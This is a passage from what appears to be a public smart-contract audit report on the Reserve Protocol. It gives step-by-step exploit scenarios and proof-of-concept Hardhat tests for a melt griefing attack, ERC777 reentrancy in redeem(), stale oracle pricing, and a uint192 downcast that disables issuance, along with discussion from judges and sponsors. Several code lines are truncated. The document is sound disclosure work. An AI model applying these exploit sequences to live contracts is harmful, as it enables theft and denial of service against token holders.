Function `melt()` melt a quantity of RToken from the caller's account, increasing the basket rate. basket rate should be between `1e9` and `1e27` and function `requireValidBUExchangeRate()` checks that if it's not in interval the the code would revert. the call to `requireValidBUExchangeRate()` happens in the function `mint()`, `melt()` and `setBasketsNeeded()` which are used in `issue()` and `handoutExcessAssets()` and `compromiseBasketsNeeded()` which are used in multiple functionality of the systems. early malicious user can call `issue(1e18)` and `melt(1e18 - 1)` and then set the ratio between baskets needed and total supply to `1e27` and then any new action that increase the ratio would fail. because during the

`issue()` code calls `melt()` so the issue() would fail for sure and other functionalities can increase the ratio because of the ratio too because of the rounding error which result in revert. so by exploiting this attacker can make RToken to be in broken state and most of the functionalities of the system would stop working.

Proof of Concept

This is `melt()` code:

```
function melt(uint256 amtRToken) external notPausedOrFrozen
    _burn(_msgSender(), amtRToken);
    emit Melted(amtRToken);
    requireValidBUExchangeRate();
}
```

As you can see it allows anyone to burn their RToken balance. This is `requireValidBUExchangeRate()` code:

```
function requireValidBUExchangeRate() private view {
    uint256 supply = totalSupply();
    if (supply == 0) return;

    // Note: These are D18s, even though they are uint256s.
    // we cannot assume we stay inside our valid range here,
    // we are checking in the first place
    uint256 low = (FIX_ONE_256 * basketsNeeded) / supply; //
    uint256 high = (FIX_ONE_256 * basketsNeeded + (supply -

    // 1e9 = FIX_ONE / 1e9; 1e27 = FIX_ONE * 1e9
    require(uint192(low) >= 1e9 && uint192(high) <= 1e27, "I
}
```

As you can see it checks and makes sure that the BU to RToken exchange rate to be in [1e-9, 1e9]. so Attacker can perform this steps:

1. add `1e18` RToken as first issuer by calling `issue()`
2. call `melt()` and burn `1e18 - 1` of his RTokens.

3. not `basketsNeeded` would be `1e18` and `totalSupply()` of RTokens would be `1` and the BU to RToken exchange rate would be its maximum value `1e27` and `requireValidBUExchangeRate()` won't allow increasing the ratio.
4. now calls to `melt()` would revert and because `issue()` calls to `furnace.melt()` which calls `RToken.melt()` so all calls to `issue()` would revert. other functionality which result in calling `mint()`, `melt()` and `setBasketsNeeded()` if they increase the ratio would fail too. as there is rounding error when converting RToken amount to basket amount so burning and minting new RTokens and increase the ratio too because of those rounding errors and those logics would revert. (`handoutExcessAssets()` would revert because it mint revenue RToken and update `basketsNeeded` and it calculates new basket amount based on RToken amounts and rounds down so it would increase the BU to RToken ratio which cause code to revert in `mint()`)
(`redeem()` would increase the ratio simillar to `handoutExcessAssets()` because of rounding down)
5. the attacker doesn't need to be first issuer just he needs to be one of the early issuers and by performing the attack and also if the ratio gets to higher value of the maximum allowed the protocol won't work properly as it documented the supported rage for variables to work properly.

So attacker can make protocol logics to be broken and then RToken won't be useless and attacker can perform this attack to any newly deployed RToken.

Tools Used

VIM

Recommended Mitigation Steps

Don't allow everyone to melt their tokens or don't allow melting if totalSupply() become very small.

tmattimore (Reserve) disagreed with severity and commented:

> Understand that `issue()` plus `melt()` can brick an RTokens issuance, but redeem should still work.

> So, the RToken would no longer function as expected but no RToken holder funds would be lost. And in fact, RToken holders now have more funds.

> Believe this is severity 2 but we should mitigate so that an annoying person / entity cannot DDOS every RToken on deployment w/ small amounts of capital. RToken holders can always continue to redeem though.

Oxean (judge) decreased severity to Medium and commented:

> Agreed on downgrading due to no direct loss of significant funds and this mostly being a griefing type attack.

tbrent (Reserve) mitigated:

> This PR prevents melting RToken until the RToken supply is at least 1e18: reserve-protocol/protocol#619

Status: Not fully mitigated. Full details in reports from HollaDieWaldfee and 0xA5DF (here and here). Also included in Mitigation Review section below.

[M-06] Too few rewards paid over periods in Furnace and StRSR

Submitted by Franfran

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/Furnace.sol#L77-L79
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L509-L512
https://github.com/reserve-protocol/protocol/blob/946d9b101dd77275c6cbfe0bfe9457927bd221a9/contracts/p1/StRSR.sol#L490-L493

For two instances in the codebase (`Furnace` and `StRSR`), the composed rewards calculation seems to be wrong.

How the rewards are working in these two snippets is that we are first measuring how much `period` or `rewardPeriod` occured since the last payout and calculating in only **one** step the rewards that should be distributed over these periods. In other words, it is composing the ratio over periods.

Proof of Concept

Taken from the [comments](), we can write the formula of the next rewards payout as:

```
with n = (i+1) > 0, n is the number of periods
rewards{0} = rsrRewards()
payout{i+1} = rewards{i} * payoutRatio
rewards{i+1} = rewards{i} - payout{i+1}
rewards{i+1} = rewards{i} * (1 - payoutRatio)
```

Generalization: $u\_{i+1} = u\_{i} * (1 - r)$

It's a geometric mean whose growth rate is `(1 - r)`.

Calculation of the sum:

$$S = u_0 * \frac{1 - q^n}{1 - q}$$

With `u0` equivalent to the `rsrRewardsAtLastPayout` in the case of the `StRSR`.

$$S = u_0 * \frac{1 - (1 - r)^n}{1 - (1 - r))}$$

$$S = rewards_0 * \frac{1 - (1 - r)^n}{r}$$

You can play with the graph [here]().

For a practical example, let's say that our `rsrRewardsAtLastPayout` is 5, with a `rewardRatio` of 0.9.

If we had to calculate our compounded rewards, from the formula given by the comments above, we could calculate manually for the first elements. Let's take the sum for n = 3:

$S = u\_{2} + u\_{1} + u\_{0}$ $u\_{2} = u\_{1} * (1-0.9)$ $u\_{1} = u\_{0} * (1-0.9)$ $u\_{0} = rsrRewardsAtLastPayout$

So,

$S = u\_{0} * (1-0.9) * (1-0.9) + u\_{0} * (1-0.9) + u\_{0}$

For the values given above, that's

$S = 5 * 0.1^2 + 5 * 0.1 + 5$ $S = 5.55$

If we do the same calculation with the sum formula

$$S = 5 * \frac{1 - (1 - 0.9)^3}{0.9}$$

$$S = 5.55$$

Which, with the one given in the smart contracts, evalutates to:

$$S' = 5 * \frac{1 - (1 - 0.9)^3}{1}$$

$S' = 4.995$

Recommended Mitigation Steps

Rather than dividing by 1 (1e18 from the Fixed library), divide it by the `ratio`.

```
// Furnace.sol
// Paying out the ratio r, N times, equals paying out the ratio
uint192 payoutRatio = FIX_ONE.minus(FIX_ONE.minus(ratio).powu(nu

uint256 amount = payoutRatio * lastPayoutBal / ratio;



// StRSR.sol
uint192 payoutRatio = FIX_ONE - FixLib.powu(FIX_ONE - rewardRati

// payout: {qRSR} = D18{1} * {qRSR} / r
uint256 payout = (payoutRatio * rsrRewardsAtLastPayout) / rewarc
```

tbrent (Reserve) disputed and commented:

> I think there is a mistake in the math here, possibly arising from the fact that `rsrRewards()` doesn't correspond to how much rewards *has* been handed out, but how much is *available* to be handed out.

> I don't understand why the warden is computing the sum of `u_i`. If `u_0` is the value of `rsrRewards()` at time 0, and `u_1` is the value of `rsrRewards()` at time 1, why is the sum of `u_i` for all i interesting? This is double-counting balances, since only some of `u_i` is handed out each time.

> As the number of payouts approach infinity, the total amount handed out approaches `u_0`.

Oxean (judge) commented:

> Would be good to get the warden to comment here during QA - will see if we can have that occur to clear up the difference in understanding.

Please note: the following comment and re-assessment took place after judging and awarding were finalized. As such, this report will leave this finding in its originally assessed risk category as it simply reflects a snapshot in time.

Oxean (judge) commented:

> I want to apologize that I missed the fact that no response was given during QA and currently believe this issue to be invalid.

Franfran (warden) commented:

> Hey friends, sorry for not hopping into the discussion earlier!
> My reasoning was that if the staker's rewards doesn't compound over time, then there is no reason for them to stay in the pool and not harvest the rewards, which is a costly process if they would have to harvest each cycle.

[M-07] Attacker can steal RToken holders' funds by

performing reentrancy attack during `redeem()` function token transfers

Submitted by unforgiven, *also found by* unforgiven, unforgiven, ustas, *and* hihen

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L439-L514
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L105-L150

Function `redeem()` redeems RToken for basket collateral and it updated `basketsNeeded` and transfers users basket ERC20 from BackingManager to user address. it loops through tokens and transfer them to caller and if one of tokens were ERC777 or any other 3rd party protocol token with hook, attacker can perform reentrancy attack during token transfers. Attacker can cause multiple impacts by choosing the reentrancy function:

1. attacker can call `redeem()` again and bypass "bounding each withdrawal by the prorata share when protocol is under-collateralized" because tokens balance of BackingManager is not updated yet.
2. attacker can call `BackingManager.manageTokens()` and because `basketsNeeded` gets decreased and basket tokens balances of BasketManager are not updated, code would detect those tokens as excess funds and would distribute them between RSR stakers and RToken holders and some of RToken deposits would get transferred to RSR holders as rewards.

Proof of Concept

This is `redeem()` code:

```
    function redeem(uint256 amount) external notFrozen {
.............
.............
        (address[] memory erc20s, uint256[] memory amounts) = ba

        uint256 erc20length = erc20s.length;
```

```
        uint192 prorate = uint192((FIX_ONE_256 * amount) / suppl

        // Bound each withdrawal by the prorata share, in case w
        for (uint256 i = 0; i < erc20length; ++i) {
            uint256 bal = IERC20Upgradeable(erc20s[i]).balanceOf

            uint256 prorata = (prorate > 0)
                ? (prorate * bal) / FIX_ONE // {qTok} = D18{1} *
                : mulDiv256(bal, amount, supply); // {qTok} = {q

            if (prorata < amounts[i]) amounts[i] = prorata;
        }

        basketsNeeded = basketsNeeded_ - baskets;
        emit BasketsNeededChanged(basketsNeeded_, basketsNeeded)

        // == Interactions ==
        _burn(redeemer, amount);

        bool allZero = true;
        for (uint256 i = 0; i < erc20length; ++i) {
            if (amounts[i] == 0) continue;
            if (allZero) allZero = false;

            IERC20Upgradeable(erc20s[i]).safeTransferFrom(
                address(backingManager),
                redeemer,
                amounts[i]
            );
        }

        if (allZero) revert("Empty redemption");
    }
```

As you can see code calculates withdrawal amount of each basket erc20 tokens by calling `basketHandler.quote()` and then bounds each withdrawal by the prorata share of token balance, in case protocol is under-collateralized. and then code updates `basketsNeeded` and in the end transfers the tokens. if one of those tokens were ERC777 then that token would call receiver hook function in token transfer. there may be other 3rd party protocol tokens that calls registered hook functions during the token transfer. as reserve protocol is permission less and tries to work with all tokens so the external call in the token transfer can call hook functions. attacker can use this hook and perform reentrancy attack.

This is `fullyCollateralized()` code in BasketHandler:

```
function fullyCollateralized() external view returns (bool)
    return basketsHeldBy(address(backingManager)) >= rToken.
}
```

As you can see it calculates baskets that can be held by backingManager tokens balance and needed baskets by RToken contract and by comparing them determines that if RToken is fully collateralized or not. If RToken is fully collateralized then `BackingManager.manageTokens()` would call `handoutExcessAssets()` and would distribute extra funds between RToken holders and RSR stakers.

The root cause of the issue is that during tokens transfers in `redeem()` not all the basket tokens balance of the BackingManager updates once and if one has hook function which calls attacker contract then attacker can use this updated token balance of the contract and perform his reentrancy attack. attacker can call different functions for reentrancy. these are two scenarios:

Scenario #1: attacker call `redeem()` again and bypass prorata share bound check when protocol is under-collaterialized:

1. tokens [`SOME_ERC777` , `USDT`] with quantity [1, 1] are in the basket right now and basket nonce is BasketNonce1.
2. BackingManager has 200K `SOME_ERC777` balance and 100K `USDT` balance. `basketsNeeded` in RToken is 150K and RToken supply is 150K and attacker address Attacker1 has 30k RToken. battery charge allows for attacker to withdraw 30K tokens in one block.
3. attacker would register a hook for his address in `SOME_ERC777` token to get called during transfers.
4. attacker would call `redeem()` to redeem 15K RToken and code would updated `basketsNeeded` to 135K and code would bounds withdrawal by prorata shares of balance of the BackingManager because protocol is under-collateralized and code would calculated withdrawal amouns as 15K `SOME_ERC777` tokens and 10K `USDT` tokens (instead of 15K `USDT` tokens) for withdraws.

5. then contract would transfer 15K `SOME_ERC777` tokens first to attacker address and attacker contract would get called during the hook function and now `basketsNeeded` is 135K and total RTokens is 135K and BackingManager balance is 185K `SOME_ERC777` and 100K `USDT` (`USDT` is not yet transferred). then attacker contract can call `redeem()` again for the remaining 15K RTokens.
6. because protocol is under-collateralized code would calculated withdrawal amouns as 15K `SOME_ERC777` and 11.1K `USDT` (USDT*balance * rtokenAmount / totalSupply = 100K * 15K / 135K) and it would burn 15K RToken form caller and the new value of totalSupply of RTokens would be 120K and* `basketsNeeded` *would be 120K too. then code would transfers 15K ṠOMEERC777* `and 11.1K` USDṪ for attacker address.
7. attacker's hook function would return and `redeem()` would transfer 10K `USDT` to attacker in the rest of the execution. attacker would receive 30K `SOME_ERC777` and 21.1K `USDT` tokens for 15K redeemed RToken but attacker should have get (`100 * 30K / 150K = 20K`) 20K `USDT` tokens because of the bound each withdrawal by the prorata share, in case we're currently under-collateralized.
8. so attacker would be able to bypass the bounding check and withdraw more funds and stole other users funds. the attack is more effective if withdrawal battery charge is higher but in general case attacker can perform two withdraw each with about `charge/2` amount of RToken in each block and stole other users funds when protocol is under collaterlized.

Scenario #2: attacker can call `BackingManager.manageTokens()` for reentrancy call:

1. tokens [`SOME_ERC777` , `USDT`] with quantity [1, 1] are in the basket right now and basket nonce is BasketNonce1.
2. BackingManager has 200K `SOME_ERC777` balance and 150K `USDT` balance. `basketsNeeded` in RToken is 150K and RToken supply is 150K and attacker address Attacker1 has 30k RToken. battery charge allows for attacker to withdraw 30K tokens in one block.
3. attacker would register a hook for his address in `SOME_ERC777` token to get called during transfers.

4. attacker would call `redeem()` to redeem 30K RToken and code would updated `basketsNeeded` to 120K and burn 30K RToken and code would calculated withdrawal amounts as 30K `SOME_ERC777` tokens and 30K `USDT` tokens for withdraws.
5. then contract would transfer 30K `SOME_ERC777` tokens first to attacker address and attacker contract would get called during the hook function and now `basketsNeeded` is 120K and total RTokens is 120K and BackingManager balance is 170K `SOME_ERC777` and 150K `USDT` (`USDT` is not yet transferred). then attacker contract can call `BackingManager.manageTokens()`.
6. function `manageTokens()` would calculated baskets can held by BackingManager and it would be higher than 150K and `basketsNeeded` would be 130K and code would consider 60K `SOME_ERC777` and 30K `USDT` tokens as revenue and try to distribute it between RSR stakers and RToken holders. code would mint 30K RTokens and would distribute it.
7. then attacker hook function would return and `redeem()` would transfer 30K `USDT` to attacker address in rest of the execution.
8. so attacker would able to make code to calculate RToken holders backed tokens as revenue and distribute it between RSR stakers and RSR stakers would receive RTokens backed tokens as rewards. the attack is more effective is battery charge is high but in general case attacker can call redeem for battery charge amount and cause those funds to be counted and get distributed to the RSR stakers (according to the rewards distribution rate)

Tools Used

VIM

Recommended Mitigation Steps

Prevent reading reentrancy attack by central reentrancy guard or by one main proxy interface contract that has reentrancy guard.

Or create contract state (similar to basket nonce) which changes after each interaction and check for contracts states change during the call. (start and end of the call)

Oxean (judge) commented:

> Would like to get some sponsor comments on this once prior to final review.

tmattimore (Reserve) confirmed and commented:

> We think it's real.

> Other potential mitigation:

- governance level norm of excluding erc777 as collateral. Can't fully enforce though, so not a full mitigation.

> Will discuss more and decide on mitigation path with team.

0xean (judge) decreased severity to Medium and commented:

> Thanks @tmattimore - I am going to downgrade to Medium due to the external requirements needed for it to become a reality. If I may ask, what is the hesitancy to simply introduce standard reentrancy modifiers? It's not critical to the audit in any way, just more of my own curiosity.

tbrent (Reserve) commented:

> @0xean - we would need a global mutex in order to prevent the attack noted here, which means lots of gas-inefficient external calls. The classic OZ modifier wouldn't be enough.

[M-08] `Asset.lotPrice()` doesn't use the most recent price in case of oracle timeout

Submitted by 0xA5DF

`Asset.lotPrice()` has a fallback mechanism in case that `tryPrice()` fails - it uses the last saved price and multiplies its value by `lotMultiplier` (a variable that decreases as the time since the last saved price increase) and returns the results.

However, the `tryPrice()` might fail due to oracle timeout, in that case the last saved price might be older than the oracle's price.

This can cause the backing manager to misestimate the value of the asset, trade it at a lower price, or do an unnecessary haircut.

Proof of Concept

In the PoC below:

- Oracle price is set at day 0
- The asset is refreshed (e.g. somebody issued/vested/redeemed)
- After 5 days the oracle gets an update
- 25 hours later the `lotPrice()` is calculated based on the oracle price from day 0 even though a price from day 5 is available from the oracle
- Oracle gets another update
- 25 hours later the `lotPrice()` goes down to zero since it considers the price from day 0 (which is more than a week ago) to be the last saved price, even though a price from a day ago is available from the oracle

```
diff --git a/test/fixtures.ts b/test/fixtures.ts
index 5299a5f6..75ca8010 100644
--- a/test/fixtures.ts
+++ b/test/fixtures.ts
@@ -69,7 +69,7 @@ export const SLOW = !!useEnv('SLOW')

 export const PRICE_TIMEOUT = bn('604800') // 1 week

-export const ORACLE_TIMEOUT = bn('281474976710655').div(2) // t
+export const ORACLE_TIMEOUT = bn('86400') // one day

 export const ORACLE_ERROR = fp('0.01') // 1% oracle error

diff --git a/test/plugins/Asset.test.ts b/test/plugins/Asset.tes
index d49c53f3..7f2f721e 100644
--- a/test/plugins/Asset.test.ts
+++ b/test/plugins/Asset.test.ts
@@ -233,6 +233,45 @@ describe('Assets contracts #fast', () => {
       )
     })

+    it('PoC lot price doesn\'t use most recent price', async ()
+      // Update values in Oracles to 0
```

```
+
+      await setOraclePrice(rsrAsset.address, bn('1.1e8'))
+
+      await rsrAsset.refresh();
+      let [lotLow, lotHigh] = await rsrAsset.lotPrice();
+      let descripion = "day 0";
+      console.log({descripion, lotLow, lotHigh});
+      let hour = 60*60;
+      let day = hour*24;
+      await advanceTime(day * 5);
+
+      await setOraclePrice(rsrAsset.address, bn('2e8'));
+      // await rsrAsset.refresh();
+
+      [lotLow, lotHigh] = await rsrAsset.lotPrice();
+      descripion = 'after 5 days (right after update)';
+      console.log({descripion,lotLow, lotHigh});
+
+      await advanceTime(day + hour);
+
+      // Fallback prices should be zero
+
+      [lotLow, lotHigh] = await rsrAsset.lotPrice();
+      descripion = 'after 6+ days';
+      console.log({descripion, lotLow, lotHigh});
+
+      await setOraclePrice(rsrAsset.address, bn('2e8'));
+
+      await advanceTime(day + hour);
+
+      [lotLow, lotHigh] = await rsrAsset.lotPrice();
+      descripion = 'after 7+ days';
+      console.log({descripion, lotLow, lotHigh});
+
+    })
+    return;
+
     it('Should return (0, 0) if price is zero', async () => {
       // Update values in Oracles to 0
       await setOraclePrice(compAsset.address, bn('0'))
@@ -595,6 +634,7 @@ describe('Assets contracts #fast', () => {
       expect(lotHighPrice4).to.be.equal(bn(0))
     })
   })
+  return;
```

```
describe('Constructor validation', () => {
  it('Should not allow price timeout to be zero', async () =>
```

Output:

```
{
  descripion: 'day 0',
  lotLow: BigNumber { value: "10890000000000000000" },
  lotHigh: BigNumber { value: "11110000000000000000" }
}
{
  descripion: 'after 5 days (right after update)',
  lotLow: BigNumber { value: "19800000000000000000" },
  lotHigh: BigNumber { value: "20200000000000000000" }
}
{
  descripion: 'after 6+ days',
  lotLow: BigNumber { value: "14908748511904761 8" },
  lotHigh: BigNumber { value: "15209935350529100 5" }
}
{
  descripion: 'after 7+ days', // `lotPrice()` returns zero ever
  lotLow: BigNumber { value: "0" },
  lotHigh: BigNumber { value: "0" }
}
```

Recommended Mitigation Steps

Allow specifying a timeout to `tryPrice()`, in case that `tryPrice()` fails due to oracle timeout then call it again with `priceTimeout` as the timeout.

If the call succeeds the second time then use it as the most recent price for fallback calculations.

tbrent (Reserve) commented:

> Nice find! When `StalePrice()` is thrown in `OracleLib.sol`, it should revert with the latest price, and this latest price should be used in the asset plugin.

tbrent (Reserve) acknowledged

[M-09] Withdrawals will stuck

Submitted by csanuragjain

If a new era gets started for stakeRSR and draftRSR still point to old era then user will be at risk of losing their future holdings.

Proof of Concept

1. seizeRSR is called with amount 150 where stakeRSR was 50 and draftRSR was 80. The era was 1 currently for both stake and draft

```
function seizeRSR(uint256 rsrAmount) external notPausedOrFrc
...
stakeRSR -= stakeRSRToTake;
..
if (stakeRSR == 0 || stakeRate > MAX_STAKE_RATE) {
            seizedRSR += stakeRSR;
            beginEra();
        }
...
draftRSR -= draftRSRToTake;
if (draftRSR > 0) {
            // Downcast is safe: totalDrafts is 1e38 at most
            draftRate = uint192((FIX_ONE_256 * totalDrafts +
        }

...
```

2. stakeRSR portion comes to be 50 which means remaining stakeRSR will be 0 (50-50). This means a new staking era will get started

```
if (stakeRSR == 0 || stakeRate > MAX_STAKE_RATE) {
            seizedRSR += stakeRSR;
            beginEra();
        }
```

3. This causes staking era to become 2

```
function beginEra() internal virtual {
        stakeRSR = 0;
        totalStakes = 0;
        stakeRate = FIX_ONE;
        era++;

        emit AllBalancesReset(era);
    }
```

4. Now draftRSR is still > 0 so only draftRate gets updated. The draft Era still remains 1
5. User stakes and unstakes in this new era. Staking is done in era 2
6. Unstaking calls the pushDraft which creates User draft on draftEra which is still 1

```
function pushDraft(address account, uint256 rsrAmount)
        internal
        returns (uint256 index, uint64 availableAt)
    {
...
CumulativeDraft[] storage queue = draftQueues[draftEra][acc
       ...

        queue.push(CumulativeDraft(uint176(oldDrafts + draft
...
}
```

7. Lets say due to unfortunate condition again seizeRSR need to be called. This time `draftRate > MAX_DRAFT_RATE` which means draft era increases and becomes 2

```
if (draftRSR == 0 || draftRate > MAX_DRAFT_RATE) {
            seizedRSR += draftRSR;
            beginDraftEra();
        }
```

8. This becomes a problem since all unstaking done till now in era 2 were pointing in draft era 1. Once draft era gets updated to 2, all those unstaking are lost.

Recommended Mitigation Steps

Era should be same for staking and draft. So if User is unstaking at era 1 then withdrawal draft should always be era 1 and not some previous era.

Oxean (judge) commented:

> I believe the sequence of events here to be off with when beginDraftEra would be called.

> Will leave open for sponsor confirmation on the beginDraftEra call being triggered earlier in the process due to the value of `draftRSR == 0`.

tbrent (Reserve) disputed and commented:

> In the example described, I'm pretty sure point 4 is wrong: draftRSR would be 0 and both the eras would be changed at the same time.

> That said, I don't think it's a problem to have different eras for stakeRSR and draftRSR. It's subtle, but it could be that due to rounding one of these overflows `MAX_STAKE_RATE` / `MAX_DRAFT_RATE`, but not the other. This is fine. This means enough devaluation has happened to one of the polities (current stakers; current withdrawers) that they have been wiped out. It's not a contradiction for the other polity to still be entitled to a small amount of RSR.

> It also might be the warden is misunderstanding the intended design here: if you initiate StRSR unstaking, then a sufficient RSR seizure event *should* result in the inability to withdraw anything after.

Please note: the following comment and re-assessment took place after judging and awarding were finalized. As such, this report will leave this finding in its originally assessed risk category as it simply reflects a snapshot in time.

Oxean (judge) commented:

> I wanted to comment and apologize that this issue slipped through the QA process and I didn't give it a second pass to close it out as invalid. While C4 will not change grades or awards retroactively, it is worth noting for the final report that I do not believe this issue to be valid.

[M-10] Unsafe downcasting in `issue(...)` can be exploited to cause permanent DoS

Submitted by Soosh

Important note!

I first found this bug in `issue(...)`, but unsafe downcasting appears in many other areas of the codebase, and seem to also be exploitable but no PoC is provided due to time constraints. Either way, using some form of safe casting library to **replace all occurences** of unsafe downcasting will prevent all the issues. I also do not list the individual instances of unsafe downcasting as all occurences should be replaced with safe cast.

Details

The `amtRToken` is a user supplied parameter in the `issue(uint256 amtRToken)` function

```
    uint192 amtBaskets = uint192(
            totalSupply() > 0 ? mulDiv256(basketsNeeded, amtRToken,
    );
```

The calculated amount is unsafely downcasted into `uint192`.

This means that if the resulting calculation is a multiple of 2^{192}, `amtBaskets = 0`

The code proceeds to the following line, where `erc20s` and `deposits` arrays will be empty since we are asking for a quote for 0. (see `quote(...)` in `BasketHandler.sol` where amounts are multiplied by zero)

```
    (address[] memory erc20s, uint256[] memory deposits) = basketHar
                amtBaskets,
                CEIL
```

```
        );
```

This means an attacker can call `issue(...)` with a very high `amtRToken` amount that is a multiple of 2^{192}, without depositing any amount of collateral.

The DoS issues arises because `whenFinished(uint256 amtRToken)` is dependent on `amtRToken`. With such a high value, `allVestAt` will be set so far in the future that it causes a permanent DoS. i.e. Issuances will never vest.

```
    uint192 vestingEnd = whenFinished(amtRToken); // D18{block numbe
```

Proof of Concept

This PoC demonstrates that an attacker can call `issue(...)` without collateral tokens to modify `allVestAt` variable to an extreme value, such that all further issuances cannot be vested for all users.

Do note that the PoC is done with `totalSupply() == 0` case, so we supply `amtRToken` as a multiple of 2^{192}. Even if there is an existing `totalSupply()`, we just need to calculate a value for `amtRToken >= 2^192` such that $\frac{\text{basketsNeeded} \times \text{amtRToken}}{totalSupply()} = 0$. This attack does not require `totalSupply()` be zero.

```
    uint192 amtBaskets = uint192(
            totalSupply() > 0 ? mulDiv256(basketsNeeded, amtRToken,
    );
```

The `amount`, `baskets` and `quantities` values are also messed up, but it would not matter anyways...

Under 'Issuance and Slow Minting' tests in `RToken.test.ts`:

```
    it('Audit: DoS by downcasting', async function () {
          const issueAmount: BigNumber = BigNumber.from(2n ** 192n)
```

```
        // Set basket
        await basketHandler.connect(owner).setPrimeBasket([token0.
        await basketHandler.connect(owner).refreshBasket()

        // Attacker issues 2 ** 192, or a multiple of 2 ** 192 RTo
        // This will cause allVestAt to be veryyyyy high, permaner
        const tx = await rToken.connect(addr1)['issue(uint256)'](i
        const receipt = await tx.wait()
        console.log(receipt.events[0].args)

        await token0.connect(addr2).approve(rToken.address, initia
        const tx2 = await rToken.connect(addr2)['issue(uint256)']
        const receipt2 = await tx2.wait()
        console.log(receipt2.events[0].args)

        // one eternity later...
        await advanceTime('1234567891234567 89')
        // and still not ready
        await expect(rToken.connect(addr2).vest(addr2.address, 1))
          .to.be.revertedWith("issuance not ready")

      })
```

Run with:

```
yarn test:p1 --grep "Audit: DoS"
```

Expect to see (only important parts shown):

```
[
  ...
  recipient: '0x70997970C51812dc3A010C7d01b50e0d17dc79C8',
  index: BigNumber { value: "0" },
  amount: BigNumber { value: "627710173538668076383578942320766
  baskets: BigNumber { value: "0" },
  erc20s: [ '0x998abeb3E57409262aE5b751f60747921B33613E' ],
  quantities: [ BigNumber { value: "0" } ],
  blockAvailableAt: BigNumber { value: "627710173538668076383578
]
[
  ...
  recipient: '0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC',
```

```
    index: BigNumber { value: "0" },
    amount: BigNumber { value: "630000000000000000000000000000(
    baskets: BigNumber { value: "228982646133192361642105767923335
    erc20s: [ '0x998abeb3E57409262aE5b751f60747921B33613E' ],
    quantities: [
      BigNumber { value: "228982646133192361642105767923335838976
    ],
    blockAvailableAt: BigNumber { value: "125771017353866807638357
  ]

    RTokenP1 contract
      Issuance and Slow Minting
        ✓ Audit: DoS by downcasting
```

Impact

Permanent DoS would be High risk considering RToken is an asset-backed **currency**.
A currency that is unable to issue new currency does not work as a currency

Also, I believe existing collateral cannot be redeemed due to the extreme values also used in `redeem(...)` function. No PoC written due to time constriant for this case... but above should be enough impact.

Many other downcasting issues for this project. But using a safe casting library would prevent all the issues... not going to write multiple reports for same underlying issue.

Recommendations

Use some safe casting library. OpenZeppelin's library does not have safe casting for `uint192` type. May have to find another or write your own.

Oxean (judge) decreased severity to Medium and commented:

> Will leave open for sponsor review, I think Medium severity is correct if the finding turns out to be fully valid. If no more issuance can occur, redemption is still possible. Warden would have needed to demonstrate a loss of funds for this to qualify as H severity.

tbrent (Reserve) disagreed with severity and commented:

> We have supported ranges of value. See `docs/solidity-style.md`.

> The only mistake here is that `issue()` has somewhat lacking in-line documentation:

> Downcast is safe because an actual quantity of qBUs fits in uint192

> The comment in `redeem()` is a bit better:

> // downcast is safe: amount < totalSupply and basketsNeeded_ < 1e57 < 2^190 (just barely)

> We'll probably improve the comment in `issue()` to match `redeem()`. This should be a QA-level issue.

Oxean (judge) decreased severity to Low/Non-Critical

Soosh (warden) commented:

> I don't see how documentation prevents this issue.

> The issue exists because downcasting values above 2^192 does not revert. Maybe the sponsor misunderstood the issue thinking that it would require the attacker to deposit 2^192 of the collateral in order for the attack to succeed which is an extremely unlikely scenario.

> Updated the PoC to clearly show that the attacker can permanently disable the `issue(...)` function for the protocol, without owning any amount of the basket token. - addr1 is the attacker with 0 basket tokens, addr2 represents all future users who will not be able to issue new RTokens.

```
it('Audit: DoS by downcasting', async function () {
      const issueAmount: BigNumber = BigNumber.from(2n ** 192n)

      await token0.burn(addr1.address, bn('6.3e57'))
      await token0.burn(addr2.address, bn('6.3e57'))
```

```
    // await token0.mint(addr1.address, bn('10e18'))
    await token0.mint(addr2.address, bn('10e18'))
    expect(await token0.balanceOf(addr1.address)).to.eq(0)
    expect(await token0.balanceOf(addr2.address)).to.eq(bn('1(

    // Set basket
    await basketHandler.connect(owner).setPrimeBasket([token0.
    await basketHandler.connect(owner).refreshBasket()

    // Attacker issues 2 ** 192, or a multiple of 2 ** 192 RTc
    // This will cause allVestAt to be very high, permanent Dc
    const tx = await rToken.connect(addr1)['issue(uint256)'](i
    const receipt = await tx.wait()
    console.log(receipt.events[0].args)

    await token0.connect(addr2).approve(rToken.address, bn('1(
    const tx2 = await rToken.connect(addr2)['issue(uint256)']
    const receipt2 = await tx2.wait()
    console.log(receipt2.events[0].args)

    // one eternity later...
    await advanceTime('1234567891234567 89')
    // and still not ready
    await expect(rToken.connect(addr2).vest(addr2.address, 1))
      .to.be.revertedWith("issuance not ready")
})
```

> Additionally, I still believe this issue should be considered High risk as:

1. Disabling of critical function of the protocol
2. Attack is very simple to exploit, with no cost to the attacker - Low complexity with High likelihood
3. Permanent disabling of RToken issuance means that the **RToken can no longer be used** so all funds must be moved out, this will entail:
4. Redeeming all existing RTokens, which will take a reasonable amount of time depending on redemption battery parameters
5. Unstaking all stRSR which will take a reasonable amount of time depending on unstaking delay
6. Gas costs for all the above redeeming and unstaking will be in the thousands for a RToken with reasonable market cap.

7. RToken is a stable currency which means that it would be used in DeFi protocols. In the case of Lending/Borrowing, it would take even longer for RToken to be redeemed. There may also be loss of funds as a long wait time to redeem RTokens means that the RToken will trade at a discount in secondary markets - this can cause RToken-collateralized loans to be underwater.

> There is no **direct** loss of funds but I'd argue the impact is vast due to RToken being used as a currency.

Oxean (judge) commented:

> Thanks for the response.
>
> There is no direct loss of funds but I'd argue the impact is vast due to RToken being used as a currency.
>
> If there is no direct loss of funds, how can this issue be High per the C4 criteria, not your own opinion?
>
> I will ask @tbrent to take another look at your POC and do the same as well.

Soosh (warden) commented:

> I agree with Medium if following C4 criteria in the docs exactly word for word.
>
> It is just that there are many High findings in previous contests where High findings did not need to cause direct loss of funds, but break an important functionality in the protocol.
>
> To be clear, this issue does lead to loss of funds. It is just that it may not be considered **direct**.
>
> It is indeed my opinion that the finding should be High, but the points listed below are all facts. I will respect your decision regardless. Thanks!

